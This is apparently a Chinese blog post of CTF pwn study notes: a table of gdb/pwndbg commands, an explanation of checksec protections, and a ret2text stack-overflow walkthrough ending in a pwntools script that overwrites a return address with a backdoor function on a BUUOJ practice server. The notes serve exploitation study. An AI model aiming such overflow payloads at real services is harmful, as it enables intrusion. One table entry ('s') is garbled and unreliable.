霍雅
追求源于热爱,极致源于梦想!
gdb filename | 进入调试可执行程序 |
---|---|
r | 开始/重新运行 |
c | 运行到断点 |
q | 退出 |
n | 单步步过 |
s | 不如 |
p/x | 用于计算 |
vmmap | 获取映射表 |
x/gx x/gi x/gs | 以数据/汇编/字符串的形式查看内存 |
b address / function_name / $rebase(address) | 绝对地址 / 函数名 / 相对地址下断点 |
fin | 跳出当前函数,执行到函数返回处 |
context | 重新打印页面信息 |
code | 查看程序基址 |
libc | 查看libc基址 |
checksec filename
查看架构、端序、保护
类型:
No RELRO
:无保护,GOT 可写,易被攻击。Partial RELRO
:部分保护,GOT 表本身不可读写,但表项可被修改。Full RELRO
:完全保护,GOT 全部设为只读,防止 GOT 劫持攻击。表现:
Canary found
:启用了栈溢出保护机制,在栈中布置随机值(称为金丝雀),在函数返回前进行检查。No canary found
:未启用,存在栈溢出漏洞风险。表现:
NX enabled
:启用了不可执行标志,数据段不可执行。NX disabled
:禁用,攻击者可向栈上注入可执行 shellcode。表现:
PIE enabled
:支持地址空间布局随机化,每次运行加载地址不同,增加利用难度。No PIE
或 PIE disabled
:程序加载地址固定,容易被攻击者计算偏移地址。表现:
No RPATH / RUNPATH
:无特定路径,默认查找系统目录。Yes
:有调试符号,方便逆向分析(对攻击者有利)。No
:已去除符号,增强安全性。寄存器
64位一个地址占8字节 64位使用p64
32位一个地址占4字节 32位使用p32
ret2text就是函数存在get栈溢出
同时text段有后门函数
我们现在需要做的是填充s到rbp所在的地址+上rbp加上远程地址
rbp到栈底是F也就是15,rbp的地址长度是8)
所以我们需要构造0xF+0x8
然后再把ret地址覆盖成后门函数地址
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#r=process('./filename')#打本地使用
r=remote('node5.buuoj.cn',26560)
p=b'a'*(0xF+0x8)+p64(0x40118A)
r.sendline(p)
r.interactive()
r.sendlineafter(b'inpur',p)是接收到input再去发送,after是换行